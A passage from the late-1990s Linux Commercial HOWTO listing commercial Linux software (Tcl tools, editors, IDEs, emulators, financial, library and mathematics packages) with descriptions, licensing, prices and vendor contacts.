+55 11 3862 1752

EMail:

Brazil@faircom.com

Last modified:

August 7, 1997.

9.20 sdoc (Source Documenter)

Description:

This program helps to create a complete, indexed documentation from your sources (C, tcl, Perl currently available, other will follow soon).

You add documentation information to your scripts using pod (Plain old documentation), the documentation format also used in Perl. The documentation options provided by pod are simple and easy to learn but powerfull enough to create nice and good looking documents.

sdoc uses this information to create a pod-document which in turn may be transformed to HTML, LaTeX (and PostScript), nroff or just plain text.

The preview function of tdoc lets you create documentation interactively - add or modify your documentation to the source file and check the output for correctness.

Here are some highlights:

  • Documentation is included in source file, no separate files needed
  • Powerfull formatting options combined with easy learning
  • Good looking documentation can be created without hassle
  • Automated indexing
  • Output may be in HTML, PostScript and a lot of other formats (have a look at the perlpod manual page or at available pod converters).

The Tcl Documenter is also available as a commercial version. This version adds the following features:

  • Significantly faster
  • May optionally use Netscape to display preview pages.
  • Includes the package concept to further automate file selection.
  • Direct connection to emacs for file editing
  • Direct creation of postscript output
  • Full support, upgrades
  • Complete documentation

Distribution media:

3.5" diskettes and Internet (EMail and WWW).

Licensing policy:

You can download the public domain version of sdoc from the neosoft tcl archive:

  • http://www.neosoft.com/tcl/ftparchive/sorted/development
  • ftp://ftp.neosoft.com/pub/tcl/sorted/development

OS provisions:

You need an ELF based system with X11.

Documentation:

Context sensitive help and complete documentation in Pod format. Available as PostScript on request.

Product support:

Installation support included, additional support available.

Available since:

July, 1996.

Countries with distribution:

World wide.

Price range:

Contact softWorks for pricing details. Discounts for students and educational institutions available.

Vendor:

softWorks, Richard Schwaninger

Theodor-Körnerstr. 173
A-8010 Graz
Austria

Phone:

+43 316 686590

Fax:

+43 316 686590

EMail:

risc@ping.at

URL:

http://members.ping.at/risc

Contact:

Richard Schwaninger

Last modified:

August 7, 1997.

9.21 SEDIT, S/REXX

Description:

SEDIT is a powerful Unix text editor patterned after IBM's XEDIT editor. It operates with a GUI under X windows or in character mode from a tty device. S/REXX is a full Unix implementation of IBM's SAA procedural language except that the numeric digit specification is limited to 15 digits. S/REXX functions as an imbedded macro language for SEDIT as well as providing a powerful modern programming language alternative to shell scripting languages. SEDIT and S/REXX may be purchased in a bundle or individually. See our web site for more information including pricing for Linux, etc. For additional information, please contact one of the local distributors listed on the web site or mail us at sedit@dialup.FranceNet.fr

Distribution media:

4mm, 8mm, 1/4" or 3.5" diskettes and Internet (FTP).

Licensing policy:

SEDIT and S/REXX are licensed products. See the above WWW site for details. For demo purposes, a short term license key will be provided on request to anyone who obtains the product via ftp.

OS provisions:

We believe these products will work with any recent stable Linux kernel since 1.1.18 supporting a.out format. Motif is fully bound with SEDIT and SEDIT is distributed with XFree86 3.1 shared libraries for use if your system is not at that level.

Documentation:

Documentation is furnished in PostScript form, in extensive online help files, and in optional printed manuals.

Product support:

Technical support is available for all licensed users. For maintenance, see the above URLs.

Extra features and add-ons:

A REXX interactive graphical debugger is available as an optional feature as are printed manuals, physical media, and on going maintenance. See the above URLs.

Available since:

The original Linux version has been available since 3rd quarter 1995.

Countries with distribution:

SEDIT and S/REXX are available worldwide. The URLs should be consulted for current information.

Price range:

Pricing information should be requested from the local distributor responsible for your country. An economical 2 user license is available for Linux without media or printed documentation with other options for more users, S/REXX, hardcopy manuals, etc.

Vendor:

Benaroya

31 Rue de Constantinople
F-75008 Paris
France

Phone:

+33 1 47 22 22 13

Fax:

+33 1 47 22 06 17

EMail:

sedit@dialup.FranceNet.fr

URL:

http://www.sedit.com

Contact:

Robert Benaroya

Last modified:

August 4, 1997.

9.22 SNiFF+

Description:

SNiFF+ is an open, scalable and multiplatform programming environment for C/C++, Java, CORBA IDL and Fortran. The main goal in developing SNiFF+ was to create an efficient and portable programming environment with a comfortable user interface and special support for object oriented programming.

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

Trial license avialable.

OS provisions:

Linux 1.2 or 2.0.

Documentation:

Printed documentation and HTML version.

Extra features and add-ons:

Extensions for other programming languages available.

Vendor:

TakeFive Software GmbH

Jakob-Haringer-Straße 8
A-5020 Salzburg
Austria

Phone:

+43 662 4579150

Fax:

+43 662 4579156

EMail:

info@takefive.co.at

URL:

http://www.takefive.co.at

Last modified:

November 3, 1997.

9.23 ST/X (Smalltalk/X)

Description:

ST/X is a complete implementation of the Smalltalk programming language with development environment providing all of the advantages you would expect from Smalltalk: a fully object oriented programming language, a graphical development environment with editors, browsers, symbolic debugger, incremental compiler and just-in-time compilation to machine code as well as an extensive class library.

Distribution media:

CD-ROM.

Licensing policy:

There are non-commercial, evaluation and commercial licences available. There is also demo version on the Internet, although it is quite old, this should be updated at some time in 1997.

OS provisions:

ST/X requires 32 MB or more of memory and 100 MB hard disk space.

Documentation:

The ST/X documentation is available online as hypertext (HTML).

Product support:

eXept Software AG provides mentoring, training, and consulting. Onsite support is also available. For the commercial licence there is an update service and maintenance support.

Extra features and add-ons:

ST/X includes a supplementary stand-alone machine code compiler and the possibility to embed C code directly into Smalltalk methods. This allows the exploitation and use of existing C libraries or a performance improvement in the speed of time critical operations. An integral part of ST/X is an HTML browser which is fully implemented in Smalltalk. It supports network loadable Smalltalk applets and smalltalk scripts embedded in HTML pages. This allows the development of Internet and Intranet applications analogous to Java.

Available since:

ST/X has been available as a beta version on the Internet for quite a while. eXept Software AG has been further developing and marketing ST/X since 1996. Claus Gittinger (the developer from ST/X) is a founding member of eXept.

Countries with distribution:

World wide.

Price range:

There are non-commercial, evaluation and commercial licences available. The commercial licence costs US$3,500. A six month evaluation licence costs US$350. The non-commercial license is available for US$150 plus shipping and handling.

Vendor:

eXept Software AG

Besigheimerstr. 1
D-74369 Löchgau
Germany

Phone:

+49 7143 870045

Fax:

+49 7143 870048

EMail:

info@exept.de

URL:

http://home.t-online.de/home/exept

Contact:

David Queeney

Last modified:

August 5, 1997.

9.24 tdb (Tcl Debugger)

Description:

This is a debugger for tcl scripts. It allows interactive debugging of tcl/tk programs and speeds up your development cycle.

Here are some highlights:

  • Step by step execution with breakpoints
  • Display and manipulation of local and global variables
  • On-the-fly source code modifications and fast programm restarts
  • Graphical user interface, easy use
  • Easy configuration and installation

The commercial version adds the following features:

  • Full screen context display
  • Hot link to editor (currently emacs)
  • Scripting and user extensibility (tcl)
  • Plugin support (script, popup)
  • A lot faster
  • Full support, upgrades
  • Complete documentation

Distribution media:

3.5" diskettes and Internet (EMail and WWW)

Licensing policy:

You can download the public domain version of tdb from the neosoft archive:

  • http://www.neosoft.com/tcl/ftparchive/sorted/development
  • ftp://ftp.neosoft.com/pub/tcl/sorted/development

OS provisions:

ELF based system with X11.

Note that tdb requires changes to the base tcl C-libraries and also depends on dynamic loading. Please check out the info package for further details. You don' need tcl installed to use the debugger, all necessary code is included.

The commercial version may be purchased in source form and support for porting to other platforms is available. Please contact softWorks for details.

Documentation:

Context sensitive help and complete documentation in HTML format. Available as PostScript on request.

Product support:

Installation support included, additional support available.

Extra features and add-ons:

Debugger-PlugIns for speacialized debug tasks (e.g. to debug tk widget hierarchies are also available).

Available since:

July, 1996.

Countries with distribution:

World wide.

Price range:

US$450 for a binary version, US$750 for the source code, with a 10% discount for students and educational institutions.

Vendor:

softWorks, Richard Schwaninger

Theodor-Körnerstr. 173
A-8010 Graz
Austria

Phone:

+43 316 686590

Fax:

+43 316 686590

EMail:

risc@ping.at

URL:

http://members.ping.at/risc

Contact:

Richard Schwaninger

Last modified:

August 7, 1997.

9.25 tprof (Tcl Profiler)

Description:

This is a profiler for tcl scripts. It allows the creation of profiling data from your tcl programms and later analysis and detailed inspection through a graphical frontend.

This tool is especially well suited if you encounter performance problems with your tcl scripts. Instead of rewriting the whole application in C you can isolate time-critical procedures and speed them up (if necessary using C).

Here are some highlights:

  • Call flow display
  • Barcharts for number of calls, CPU time and real time
  • Tabular display of profiling data set
  • Analyse both tcl procs and commands written in C
  • Graphical user interface, easy use
  • Simple aquisition of profiling data
  • Easy configuration and installation

tprof is available both as a public domain and as a commercial version. The commercial version adds the following features:

  • Zoom in on interesting subsets of the data
  • Printout of data sets
  • PostScript (eps) images of charts and tables
  • Merging of multiple data sets
  • Exporting data sets in different formats to inspect them further (eg. sc/xspread, Wingz, DBase, text)
  • A lot faster
  • Full support, upgrades
  • Complete documentation

Distribution media:

3.5" diskettes, Internet (EMail and WWW).

Licensing policy:

You can download the public domain version of tprof from sunsite.unc.edu and it's mirrors.

OS provisions:

You need an ELF based system with X11.

Documentation:

Context sensitive help and complete documentation in HTML format. Available as PostScript on request.

Product support:

Installation support included, additional support available.

Available since:

October, 1996.

Countries with distribution:

World wide.

Price range:

Contact softWorks for details and discounts.

Vendor:

softWorks, Richard Schwaninger

Theodor-Körnerstr. 173
A-8010 Graz
Austria

Phone:

+43 316 686590

Fax:

+43 316 686590

EMail:

risc@ping.at

URL:

http://members.ping.at/risc

Contact:

Richard Schwaninger

Last modified:

August 7, 1997.

9.26 View Designer/X (VDX)

Description:

Motif interface builder that generates C and C++ code. VDX provides WYSIWYG view, widget tree browser, resource editor, widget templates and more tools to design user interfaces.

Distribution media:

Internet (WWW).

Licensing policy:

Free demo version. Purchase of license key that removes restrictions of the demo version. Three types of licenses are available: company license, host license, student license.

OS provisions:

Linux, ELF, X11R6, Libc.5, 5 MB on harddisk.

Documentation:

Online help, English. PostScript manual, English. A German version of the manual is available.

Product support:

Minor update (1.x to 1.x) free. Free EMail support.

Available since:

December, 1996.

Countries with distribution:

World wide.

Price range:

DM 800 (approximately US$470), Major update (1.x to 2.x) DM 500 (approximately US$295).

Vendor:

Bredex GmbH

Fallersleber-Tor-Wall 23
D-38100 Braunschweig
Germany

Phone:

+49 531 24 33 00

Fax:

+49 531 24 33 099

EMail:

info@bredex.de

URL:

http://www.bredex.de

Contact:

Regina Heine

Last modified:

October 13, 1997.

9.27 XBasic

Description:

XBasic is a comprehensive visual program development environment that integrates a powerful editor, advanced 32/64-bit BASIC compiler, debugger, GuiDesigner and GraphicsDesigner. XBasic is written entirely in XBasic.

Distribution media:

Internet (FTP).

Licensing policy:

Each copy is licensed on a per machine basis.

OS provisions:

Linux (ELF 1.2.13 or higher).

Documentation:

300+ page electronic manual (Word format).

Product support:

US$3 per minute.

Available since:

January, 1996.

Countries with distribution:

World wide,

Price range:

US$195.

Vendor:

Basmark Corporation

P.O. Box 40450
Cleveland, OH 44140
U.S.A.

Phone:

+1 216 871 8855

Fax:

+1 216 871 9011

EMail:

jgo@basmark.com

URL:

http://www.basmark.com

Contact:

Joseph G. O'Toole

Last modified:

November 4, 1997.

9.28 XMove 4.0 for Linux

Description:

XMove is a software package for design, prototyping and testing the graphic user interface of a software system dealing dynamically changing values. This conception shall be partially reflected in the name XMove, which is also the abbreviation of "X Window System Meter Object Visualization and Editing Tool".

X Window System: XMove is based completely on the standard X Windows System. XMove was specifically designed to support this standard for graphics user interfaces. In many applications XMove can be used complementary to OSF/Motif.

Meter Object: Meter Object is the reference to the dynamic features of XMove. Using XMove the user can provide dynamic attributes for any graphics object in addition to the definition of static behavior.

Visualizing: means that the displaying and managing of the application-specific graphics, which can be designed interactively usign XMove, is done by XMove during of the application.

Editing Tool: stands for the interactive possibilities of creating the static and dynamic parts of an application-specific graphyc usign the XMove editors.

XMove generate the necesary C++ code for X Windows System to develop the application in a very sample way. XMove is an object oriented graphics developing system.

Distribution media:

CD-ROM, Internet (EMail and WWW).

Documentation:

PostScript manuals are included with the package.

Available since:

March, 1997.

Countries with distribution:

World wide.

Price range (Europe, Asia, Australia):

  • US$6,000 (including the editor and libraries).
  • US$3,500 (only the editor)
  • US$3,500 (only the library)

Price range (America):

  • US$5,000 (including the editor and libraries).
  • US$3,000 (only the editor)
  • US$3,000 (only the library)

Vendor:

Future Technologies

Via B. Cairoli, 1
I-33170 Pordenone
Italy

Phone:

+39 434 20 91 07

Fax:

+39 434 20 95 10

EMail:

info@futuretg.com

URL:

http://www.futuretg.com

Contact:

Giovanni A. Orlando

Last modified:

August 12, 1997.


Linux Commercial HOWTO: Emulation

 Next Previous Contents

10. Emulation

10.1 Emulus

Description:

Emulus is an X-Windows/Motif application which uses TCP/IP to establish a connection to an IBM mainframe host, emulating a 3270 terminal. Emulus supports mainframe graphics, including 3270 graphics datastream extension used by mainframe SAS Software. Other features include customization through dialogs, a scripting facility to record and playback host interaction, EasyPads (customized windows of buttons), and cut and paste between Emulus and other X applications. Emulus also comes with Helplus, an hypertext help viewer modeled after WinHelp. It is used to provide online help for Emulus, but can also be used to develop Help for other X applications.

Distribution media:

CD-ROM.

Licensing policy:

Licensing is per CPU.

OS provisions:

Linux 1.2 or higher, 8-16 MB RAM, 5 MB hard disk; Motif statically linked.

Documentation:

Printed book, man pages, online help, English.

Product support:

Technical Support from SAS Institute.

Price range:

US$99; includes hardcopy documentation, and Technical Support for one year.

Vendor:

SAS Institute Inc.

SAS Campus Drive
Cary, NC 27513
U.S.A.

Phone:

+1 919 677 8000

Fax:

+1 919 677 8166

EMail:

saspjh@unx.sas.com

URL:

http://www.sas.com

Contact:

Phil Herold

Last modified:

August 4, 1997.

10.2 Executor 2

Description:

Executor 2 allows your Linux system to run many Macintosh applications, including commercial software like Adobe Photoshop and Illustrator, Quark XPress, Microsoft Word and Excel and Quicken, as well as lots of Macintosh shareware, freeware and demoware. A compatibility database is available at our web site. Executor 2 also allows you to read and write Macintosh formatted media without losing important meta-data information like the file type and file creator.

Distribution media:

CD-ROM.

Licensing policy:

Commercial software with a time limited demo available from our web site.

OS provisions:

Linux/X and Linux/SVGAlib.

Documentation:

30 page mini-manual in CD-ROM jewel-box case, additional tutorial information available on our web site and in the Usenet group comp.emulators.mac.executor.

Extra features and add-ons:

Each Executor 2 CD-ROM contains Executor/DOS and Executor/Linux. You can switch between them, but are allowed to only run one at a time.

Price range:

Suggested Retail: US$249. Educational Institutions: US$149, Full-time Students: US$65.

Vendor:

ARDI

Suite 4-101
1650 University Boulevard, NE
Albuquerque, NM 87102
U.S.A.

Phone:

+1 505 766 9115

Fax:

+1 505 766 5153

EMail:

questions@ardi.com

URL:

http://www.ardi.com

Last modified:

November 4, 1997.

10.3 Wabi 2.2 for OpenLinux

Description:

Caldera licensed and ported SunSoft's Wabi technology to enable end users to run popular Windows 3.1 applications on Linux-based system software. Channel Partners and customers can utilize Caldera Wabi 2.2 for Linux running on Caldera OpenLinux, an open source environment, to remotely manage Windows 3.1 applications at home, in the office or on the road. Channel Partners who create customized turn-key solutions based on environments like SCOR OpenServer 5 or Windows NT can now use the Wabi/COL solution to increase revenues by lowering overall cost and system requirements. The suggested retail price for Wabi 2.2 for Linux is US$199. The product requires Linux on a 386 (or higher) Intel-based processor, 16 MB RAM (24 MB recommended), VGA-quality video and 10 MB disk space.

Distribution media:

CD-ROM.

Licensing policy:

One user per licensed copy. No shareware or FTP.

OS provisions:

Runs on Caldera Network Desktop and OpenLinux.

Documentation:

Online and printed manual.

Product support:

30-days installation support via EMail and phone.

Available since:

November 18, 1996.

Countries with distribution:

47 countries worldwide; see our web site for local reseller.

Price range:

US$199 with additional licenses at US$179. Educational pricing is US$149 with additional licenses at US$129.

Vendor:

Caldera, Inc.

633 S. 550 E.
Provo, UT 84606
U.S.A.

Phone:

+1 800 850 7779, +1 801 377 7687

Fax:

+1 801 377 8752

EMail:

orders@caldera.com

URL:

http://www.caldera.com

Contact:

Nathan Hatch

Last modified:

November 14, 1997.


Linux Commercial HOWTO: Financial Software

 Next Previous Contents

11. Financial Software

11.1 BB Stock Pro and BB Stock Tool

Description:

BB Stock Pro and BB Stock Tool are powerful stock charting, tracking and analysis tools for investors. Features include stock charting, technical analysis, market timing, portfolio management. In addition, it has customized alerts, automatic stock split detection and management, stock screening, most active issues and big price movers, personalized watch list, Auto-Run, and builtin Easy Stock Update via Internet with either direct connection or behind firewall via proxy server.

Distribution media:

Internet (FTP and WWW).

Licensing policy:

Per machine license. 30 day free trial is available at our web site.

OS provisions:

Linux 2.0 ELF.

Documentation:

Context sensitive online help, and User's Guide in HTML, viewed with web browser.

Product support:

Free technical support. Frequently asked questions and answers available at our web site.

Available since:

Sun SPARC version available since December 1993. Linux version available since April 1995.

Countries with distribution:

USA, Canada, Sweden, Germany, Singapore, Malaysia, Taiwan.

Price range:

Linux version is US$99.

Vendor:

Falkor Technologies

P.O. Box 14201
Fremont, CA 94539
U.S.A.

Phone:

+1 510 505 0700

EMail:

skyline@falkor.com

URL:

http://www.falkor.com

Contact:

Henry Chen

Last modified:

March 18, 1997.

11.2 TimeClock

Description:

Employee time and attendance package for small to medium sized businesses. Includes custom report module, interface to barcode/magnetic card readers (Employee ID), and data export module.

Distribution media:

3.5" diskettes.

Licensing policy:

One CPU, unlimited users.

Documentation:

Printed manual and online HTML manual included with software.

Product support:

Free, usually 20 minute response time.

Extra features and add-ons:

Barcode/magnetic card interface.

Available since:

1992 XENIX and MS-DOS version, 1994 AIX version, October 1996 Linux version.

Countries with distribution:

USA.

Price range:

US$149.99.

Vendor:

Quality Software Solutions, Inc.

1322 Dodds Avenue
Chattanooga, TN 37404
U.S.A.

Phone:

+1 888 423 5757, +1 423 821 5757

Fax:

+1 423 629 0744

EMail:

dbryson@tclock.com

URL:

http://www.tclock.com

Contact:

Donald Bryson

Last modified:

August 4, 1997.


Linux Commercial HOWTO: Libraries

 Next Previous Contents

12. Libraries

12.1 FontScope

Description:

Type 1 Font Rasterizer Library. Allows users to arbitrarily scale, skew or rotate characters in Type 1 fonts and get back either a bitmap or an outline. Product includes full sources.

Distribution media:

3.5" diskettes.

Licensing policy:

Single user license with product. Since product includes full sources and our resources are limited, it is sold with no warranty and no support. Support contracts may be purchased at additional cost. OEM licenses, site licenses and enterprise-wide licenses available.

Documentation:

A manual, nicely typeset in 2-column format, is available with the distribution as a PostScript file.

Product support:

Support contracts may be purchased at additional cost.

Available since:

October 15, 1997.

Countries with distribution:

World wide.

Price range:

US$39.95. California residents subject to sales tax. Price subject to change without notice.

Vendor:

CurveSoft, Inc.

2053 Grant Road, Suite 555
Los Altos, CA 94024
U.S.A.

Phone:

+1 800 563 0843, +1 510 843 6485 (Sales only)

Fax:

+1 650 254 0900

EMail:

info@curvesoft.com

URL:

http://www.curvesoft.com

Contact:

Munagala V. S. Ramanath

Last modified:

October 24, 1997.

12.2 INTERACTER

Description:

INTERACTER is a portable user-interface and graphics subroutine library for Fortran software developers. INTERACTER-based programs are portable to a wide range of Fortran compilers running on Unix, VMS, Windows, DOS. The Linux version supports f2c and g77 (ELF). Functions include menus, text windows, forms, graphics primitives, presentation graphics, hardcopy (many formats) and operating system interface.

Distribution media:

3.5" diskettes and 4mm DAT.

Licensing policy:

INTERACTER-based programs can be distributed royalty free. Linux demo program available at http://www.demon.co.uk/issltd.

OS provisions:

Linux version supports X Windows (via Xlib), graphics terminals or Linux console (colour text-mode). Requires g77 or f2c.

Documentation:

Two-volume English language printed manual.

Product support:

Free lifetime technical support. New releases every six months. Chargeable software updates.

Extra features and add-ons:

Optional INTERACTER Toolkit provides form designer, graphics file viewer, online help, hardcopy post-processor and set-up file editor.

Available since:

October, 1995.

Countries with distribution:

Distributors in North America, Europe and Australia.

Price range:

Linux version: US$675 (UK £450).

Vendor:

Interactive Software Services Ltd.

Westwood House
Littleton Drive
Huntington
Staffs WS12 4TS
United Kingdom

Phone:

+44 1543 503611

Fax:

+44 1543 574566

EMail:

support@issltd.demon.co.uk

URL:

http://www.demon.co.uk/issltd

Last modified:

October 1, 1997.

12.3 Matrix<LIB> - C++ Math Matrix Library

Description:

Matrix<LIB> is a Matlab Compatible C++ Matrix Class Library, designed for development of advanced scientific high-level C++ code. Our main design objective was to keep the C++ source code clear and similar to the equivalent Matlab code, making your shift from Matlab to C++ easier. If you know how to program Matlab, you already know how to use our Matrix<LIB> C++ Math Library. The code was carefully optimized for maximal performance, too. Matrix<LIB> is also included in the MATCOM V2 distribution.

The library includes complex math, binary and unary operators, powerful indexing capabilities, signal processing, file I/O, linear algebra, string operations and graphics. Over 300 mathematical functions are included in Matrix<LIB>.

MS Windows and many Unix platform are supported with a variety of C++ compilers. An evaluation version (fully functional, 30 days limited) is available for free download from our web site.

Distribution media:

Internet (WWW).

Licensing policy:

From single license to site license. Contact The MathTools for details.

OS provisions:

Linux 1.2, gcc 2.6.3 or later, 8 MB of RAM, 15 MB on disk.

Documentation:

Users manual and library reference in various formats (MS Word, MS Write, plain text, PostScript).

Product support:

A fast product support is given by EMail only. The support section in the web page give immediate access to a wealth of resources, technical support, answers to frequently asked questions, technical documents and more.

Extra features and add-ons:

MathTools Accelerator: provides significant performance gains for Matrix<LIB> programs using Linear Algebra and matrix multiplication, on a Pentium with the Visuall C++ compiler.

Available since:

November, 1996.

Countries with distribution:

World wide.

Price range:

US$499 (US$249 for academic institutes).

Vendor:

MathTools, Ltd.

P.O. Box 855
Horsham, PA 19044-0855
U.S.A.

Phone:

+1 212 208 4476

Fax:

+1 888 628 4866, +1 215 957 1719

EMail:

info@mathtools.com

URL:

http://www.mathtools.com

Contact:

Robert G. Ford

Last modified:

August 7, 1997.

12.4 PKWARE Data Compression Library for Linux

Description:

The library does lossless compression and consists of compression, an extraction, and an error checking routine. To maintain flexibility and keep the library's code size at a minimum, the PKWARE Data Compression Library does not create .ZIP compatible archives.

Distribution media:

3.5" diskettes.

Licensing policy:

Per machine with no runtime royalties.

OS provisions:

Intel x86, 36 KB RAM for compressing and 13 KB RAM for uncompressing, 1 MB on hard disk.

Documentation:

Printed 33 page manual and separate installation notes in English. Example code provided on disk.

Product support:

No-charge. Technical support via phone, fax or EMail.

Extra features and add-ons:

Also compatible with FreeBSD.

Available since:

September 14, 1995.

Countries with distribution:

Australia, Brazil, France, Germany, India, Italy, Germany, The Netherlands, Japan, and the UK.

Price range:

US$450. Educational discount available.

Vendor:

PKWARE, Inc.

9025 N. Deerwood Drive
Brown Deer, WI 53223-2480
U.S.A.

Phone:

+1 414 354 8699

Fax:

+1 414 354 8559

EMail:

info@pkware.com

URL:

http://www.pkware.com

Contact:

Bob Gorman

Last modified:

August 5, 1997.

12.5 readyBase

Description:

A dynamic embeddable database library with a C API, Perl module, and Java interface.

Distribution media:

CD-ROM and Internet (FTP and WWW).

Licensing policy:

Commercial license. A free 30 day demo is available.

OS provisions:

Kernel 2.0.x. 1MB RAM.

Documentation:

Online documentation.

Product support:

Update service, maintenance, training and prices thereof.

Available since:

March, 1998.

Countries with distribution:

USA.

Price range:

US$1295 for 1 developer and 50 end-user license

Vendor:

Dynamical Systems, Ltd.

175 W. Jackson Boulevard, Suite A253
Chicago, IL 60604
U.S.A.

Phone:

+1 312 341 1755

Fax:

+1 312 341 1891

EMail:

info@dynamical-systems.com

URL:

http://www.dynamical-systems.com

Contact:

Gary Kuper

Last modified:

April 22, 1998.

12.6 SIMLIB IG

Description:

SIMLIB IG is a C library. It enables the user to communicate with an Evans & Sutherland image generator (Liberty and ESIG Systems) using a very efficient raw Ethernet protocol. There is no need for using opcodes, since SIMLIB IG provides an API to the functionality of the image generators.

Distribution media:

4mm DAT tar format and 3.5" diskettes.

Licensing policy:

Commercial.

OS provisions:

Linux 2.0.

Documentation:

Printed manual in English, source code examples on media.

Price range:

US$2,500.

Vendor:

KNIENIEDER Simulationstechnik

Technologiezentrum Tirol
Eduard Bodemgasse 5
A-6020 Innsbruck
Austria

Phone:

+43 512 390415 650

Fax:

+43 512 364000 20, +43 512 364000 30

EMail:

office@knienieder.co.at

Contact:

Stephan Haidacher

Last modified:

September 29, 1997.


Linux Commercial HOWTO: Mathematics

 Next Previous Contents

13. Mathematics

13.1 Maple V Release 4 - The Power Edition

Description:

Maple V Release 4 is the powerful computer algebra system used by mathematicians, engineers, and scientists for teaching and research. Maple V lets you perform a wide range of symbolic and numeric computations quickly and accurately. It includes more than 2500 built-in math functions, 2D and 3D graphics, animation, and more. New features in Release 4 include outlining, styles, and hyperlinking, typeset math notation in input, output, and text, full text search of Help Database and new computational and plotting facilities.

Distribution media:

CD-ROM.

Licensing policy:

License for unlimited use in time of the bought version, floating license with user based pricing.

OS provisions:

Linux kernel 2.0.0 or above, X11 R6.1 or above (for running X11 GUI components), 12 MB of RAM suggested. The binaries are available in ELF format only.

Documentation:

3 books: "Maple V - Learning Guide", "Maple V - Programming Guide", "The Maple V Handbook". Also available in German: "Einführung in Maple V" und "Programmieren mit Maple V".

Documentation and help in English, a variety of books available in different languages.

Product support:

Updates/maintenance depending on license, please call the distributor or WMSI.

Extra features and add-ons:

Share library via EMail and FTP. Free mailing list available (maple_group@daisy.waterloo.edu).

Available since:

September, 1994.

Countries with distribution:

USA/Canada, Europe and Asia.

Vendor:

Waterloo Maple Inc.

450 Phillip Street
Waterloo, ON N2L 5J2
Canada

Phone:

+1 519 747 2373

Fax:

+1 519 747 5284

EMail:

info@maplesoft.com

Vendor in Germany:

Scientific Computers GmbH

Franzstr. 106
D-52064 Aachen
Germany

Phone:

+49 241 47075 0

Fax:

+49 241 44983

EMail:

maple@scientific.de

Contact:

Andreas Himmeldorf

Last modified:

August 4, 1997.

13.2 MATCOM and MATCOM MATH LIBRARY

Description:

MATCOM is a Matlab to C++ compiler and C++ MATRIX MATH LIBRARY. MATCOM compiles Matlab source files (M-Files) to C++ source code. The resulting code is linked with the supplied C++ Matrix class library to create standalone executables or MEX files.

The C++ code and library can be integrated in products, royalty free, saving the need to translate the algorithm prototype.

Compiled code runs significantly faster than the original interpreted source.

Matrices of doubles, floats, ints and chars are supported, providing lower memory usage for many applications, especially signal and image processing.

MS Windows and many Unix platform are supported with a variety of C++ compilers. An evaluation version (fully functional, 30 days limited) is available for free download from our web site.

Distribution media:

Internet (WWW).

Licensing policy:

From single license to site license. Contact The MathTools for details.

OS provisions:

Linux 1.2, gcc 2.6.3 or later, 8 MB of RAM, 15 MB on disk.

Documentation:

Users manual and library reference in various formats (MS Word, MS Write, plain text, PostScript).

Product support:

A fast product support is given by EMail only. The support section in the web page give immediate access to a wealth of resources, technical support, answers to frequently asked questions, technical documents and more.

Extra features and add-ons:

MathTools Accelerator: provides significant performance gains for MATCOM programs using Linear Algebra and matrix multiplication, on a Pentium with the Visual C++ compiler.

Available since:

May, 1995.

Countries with distribution:

World wide.

Price range:

US$499 ($249 for academic institutes).

Vendor:

MathTools, Ltd.

P.O. Box 855
Horsham, PA 19044-0855
U.S.A.

Phone:

+1 212 208 4476

Fax:

+1 888 628 4866, +1 215 957 1719

EMail:

info@mathtools.com

URL:

http://www.mathtools.com

Contact:

Robert G. Ford

Last modified:

August 7, 1997.

13.3 Mathematica 3.0

Description:

Mathematica 3.0--Known for delivering quick, accurate numeric and symbolic solutions, Mathematica is ideal for creating interactive technical reports and presentations that include text, active formulas, graphics, and customizable buttons and palettes. Breakthrough new features, such as an innovative typesetting system that can do math, now make Mathematica even easier to use.

Distribution media:

CD-ROM.

Licensing policy:

Commercial, 30 day fully functional demo CD-ROM.

OS provisions:

Kernel 1.2 or higher.

Documentation:

The Mathematica Book 1400 pages. Complete book and additional help files online.

Product support:

Three service levels, see http://www.wolfram.com/service for details.

Extra features and add-ons:

About 15 application packages.

Available since:

October, 1996.

Countries with distribution:

World wide.

Price range:

US$1295, academic and student discounts, site licenses available.

Vendor:

Wolfram Research Europe Ltd

10 Blenheim Office Park
Lower Road
Long Hanborough
Oxfordshire
OX8 8LN
UK

Phone:

+44 1993 883400

Fax:

+44 1993 883800

EMail:

info@wolfram.co.uk

URL:

http://www.wolfram.co.uk

Last modified:

May 25, 1998.

13.4 MATLAB and Simulink

Description:

MATLAB is a high performance language for technical computing. It integrates computation, visualization, and programming in an easy-to-use environment where problems and solutions are expressed in familiar mathematical notation. MATLAB supports the development of large complex applications. Features include the M-file Performance Profiler for algorithm optimization, the integrated visual editor and debugger, and powerful interactive tools for signal processing and control system design.

Simulink is a powerful, interactive software package for modeling, analyzing, and simulating dynamic systems. It provides extremely accurate simulations of nonlinear continuous-time systems and systems with multiple modes of operation. Features include support for conditionally executed subsystems; state-of-the-art solvers; usability improvements such as signal and port labeling; and new blocks.

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

Using GlobeTrotter (FLEXlm) CPU locked or floating network options. Contact The MathWorks for details.

OS provisions:

Linux 2.0.18, 32 MB of RAM, 40 MB disk space (60 MB to include all help files and documentation).

Documentation:

Printed documentation, online help, MATLAB Reference Guide (HTML).

Product support:

The MathWorks supports a variety of Internet-based services to provide product information and services 24 hours a day. These services give immediate access to a wealth of resources, product data sheets, technical support, answers to frequently asked questions, user-contributed materials, open-forum discussions, and more.

Extra features and add-ons:

MATLAB Extensions: MATLAB Compiler, MATLAB C/C++ Math Library.

Toolboxes: Fuzzy Logic, Signal Processing, Image Processing, Spline, Symbolic Math, Neural Network, Control System, Robust Control, Mu-Analysis & Synthesis, System Identification, Optimization, Statistics, Financial, Frequency Domain System Identification, Higher-Order Spectral Analysis, Communication, LMI Control, Model Predicitve Control, NAG Foundation, Neural Network, Partial Differential Equation, QFT Control Design, Symbolic Math and Extended Symbolic Math, Wavelet.

Simulink Extensions: Simulink Accelerator, Real-Time Workshop.

Blocksets: Fixed-Point, DSP, Nonlinear Control Design.

Available since:

June, 1995.

Countries with distribution:

World wide.

Price range:

Upon request.

Vendor:

The MathWorks, Inc.

24 Prime Park Way
Natick, MA 01760
U.S.A.

Phone:

+1 508 647 7000 x7322

Fax:

+1 508 647 7002

EMail:

efroio@mathworks.com, brian@mathworks.com

URL:

http://www.mathworks.com

Contact:

Enza Froio (Marketing), Brian Bourgault (Technical)

Last modified:

March 27, 1997.


Linux Commercial HOWTO: Multimedia

 Next Previous Contents

14. Multimedia

14.1 Peter Lipa and his Journeys

Description:

